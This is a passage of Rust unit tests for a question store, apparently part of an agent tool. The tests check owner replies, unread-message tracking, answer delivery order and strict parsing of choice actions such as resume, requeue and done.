3843 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3844 "exactly the window: `>` means this side stays quiet"
3845 );
3846 assert!(
3847 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3848 "past the window: they may have walked away"
3849 );
3850 }
3851
3852 #[test]
3853 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3854 let (_dir, s) = store();
3855 let mut q = choice_question();
3856 s.put(&mut q).unwrap();
3857 q.say("why not Postgres?").unwrap();
3858 s.put(&mut q).unwrap();
3859 q.reply("no server to run", vec!["SQLite".to_owned()])
3860 .unwrap();
3861 s.put(&mut q).unwrap();
3862
3863 assert_eq!(
3864 s.count_open(),
3865 1,
3866 "one question that talked twice is still one open question"
3867 );
3868 assert_eq!(s.open_for(&q.run).len(), 1);
3869 }
3870
3871 #[tokio::test]
3872 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3873 let (dir, s) = store();
3874 let mut q = choice_question();
3875 let id = q.id.clone();
3876 let writer = Questions::at(dir.path().join("questions"));
3877 let handle = tokio::spawn(async move {
3878 tokio::time::sleep(Duration::from_millis(30)).await;
3879 let mut fresh = writer.get(&id).expect("the question was filed first");
3880 fresh.say("why not Postgres?").unwrap();
3881 writer.put(&mut fresh).unwrap();
3882 });
3883
3884 let got = wait_for_owner(
3885 &mut q,
3886 &s,
3887 &quiet(),
3888 Duration::from_secs(5),
3889 Duration::from_millis(10),
3890 )
3891 .await
3892 .unwrap();
3893
3894 handle.await.unwrap();
3895 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3896 assert_eq!(
3897 q.status,
3898 QuestionStatus::Open,
3899 "talking back is not a decision; the question stays open"
3900 );
3901 assert!(q.answer.is_none());
3902 }
3903
3904 #[test]
3905 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3906 let mut q = choice_question();
3907 q.say("A").unwrap();
3908 q.delivered_turns = q.thread.len();
3909 q.say("B").unwrap();
3910 q.reply("about A", vec![]).unwrap();
3911 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3912 q.delivered_turns = q.thread.len();
3913 assert_eq!(q.unread_from_owner(), None);
3914 }
3915
3916 #[test]
3917 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3918 let (_d, s) = store();
3919 let mut q = choice_question();
3920 s.put(&mut q).unwrap();
3921 q.say("first").unwrap();
3922 q.say("second").unwrap();
3923 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3924 s.put(&mut q).unwrap();
3925 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3926 let mut out = Vec::new();
3927 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3928 let shown = String::from_utf8(out).unwrap();
3929 let (a, b, c) = (
3930 shown.find("first").unwrap(),
3931 shown.find("second").unwrap(),
3932 shown.find("SQLite").unwrap(),
3933 );
3934 assert!(a < b && b < c, "{shown}");
3935 assert_eq!(q.delivered_turns, q.thread.len());
3936 assert!(q.answer_delivered);
3937 }
3938
3939 #[test]
3940 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3941 let mut q = choice_question();
3942 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3943 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3944 let mut q = choice_question();
3945 q.say("old").unwrap();
3946 q.delivered_turns = q.thread.len();
3947 q.say("new").unwrap();
3948 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3949 let shown = answer_for_agent(&q, "SQLite");
3950 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3951 }
3952
3953 #[test]
3954 fn recovery_aliases_require_a_unique_offered_structured_effect() {
3955 let mut q = choice_question();
3956 q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
3957 for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
3958 q.actions
3959 .insert(label.into(), ChoiceAction::Resume { run: run.into() });
3960 }
3961 assert!(
3962 q.resolve_reply("再開")
3963 .unwrap_err()
3964 .to_string()
3965 .contains("ambiguous")
3966 );
3967 assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
3968 q.choices.remove(1);
3969 assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
3970 assert!(q.resolve_reply("resume run-b").is_err());
3971 assert!(q.resolve_reply("保留").is_err());
3972 assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
3973 assert!(!ChoiceAction::Done.matches_alias("完了"));
3974 }
3975
3976 #[test]
3977 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3978 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3979 let ok = parse_actions(
3980 &[
3981 "resume で続行する=resume".to_owned(),
3982 "wait=done".to_owned(),
3983 ],
3984 &choices,
3985 "run-1",
3986 )
3987 .unwrap();
3988 assert_eq!(
3989 ok["resume で続行する"],
3990 ChoiceAction::Resume {
3991 run: "run-1".into()
3992 }
3993 );
3994 assert_eq!(ok["wait"], ChoiceAction::Done);
3995
3996 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3997 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3998 assert_eq!(
3999 ChoiceAction::parse("x=requeue", "").unwrap().1,
4000 ChoiceAction::Requeue
4001 );
4002
4003 assert_eq!(
4004 ChoiceAction::parse("x=hold", "").unwrap().1,
4005 ChoiceAction::Hold
4006 );
4007
4008 for bad in [
4009 "no-equals",
4010 "=done",
4011 "x=resume",
4012 "x=resume:",
4013 "x=explode",
4014 "x=done:1",
4015 ] {
4016 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4017 }
4018 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4019 assert!(
4020 parse_actions(
4021 &["wait=done".to_owned(), "wait=requeue".to_owned()],
4022 &choices,
4023 ""
4024 )
4025 .is_err()
4026 );
4027 }
4028
4029 #[test]
4030 fn only_a_chosen_label_with_an_action_is_actionable() {
4031 let mut q = choice_question();
4032 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4033 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4034 assert!(q.chosen_action().is_none(), "unanswered");
4035 q.answer(Answer::Choice("resume".to_owned())).unwrap();
4036 assert!(
4037 q.chosen_action().is_none(),
4038 "a label that merely reads like an action does nothing"
4039 );
4040
4041 let mut q2 = choice_question();
4042 q2.choices = vec!["SQLite".to_owned()];
4043 q2.actions
4044 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4045 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4046 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4047 }
4048
4049 #[test]
4050 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4051 let mut q = choice_question();
4052 q.choices = vec!["A".to_owned(), "B".to_owned()];
4053 q.actions.insert("A".to_owned(), ChoiceAction::Done);
4054 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4055 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4056 assert_eq!(q.actions.len(), 1);
4057 assert!(q.actions.contains_key("B"));
4058
4059 let mut v = serde_json::to_value(&q).unwrap();
4060 v.as_object_mut().unwrap().remove("actions");
4061 let old: Question = serde_json::from_value(v).unwrap();
4062 assert!(old.actions.is_empty());
4063 }
4064}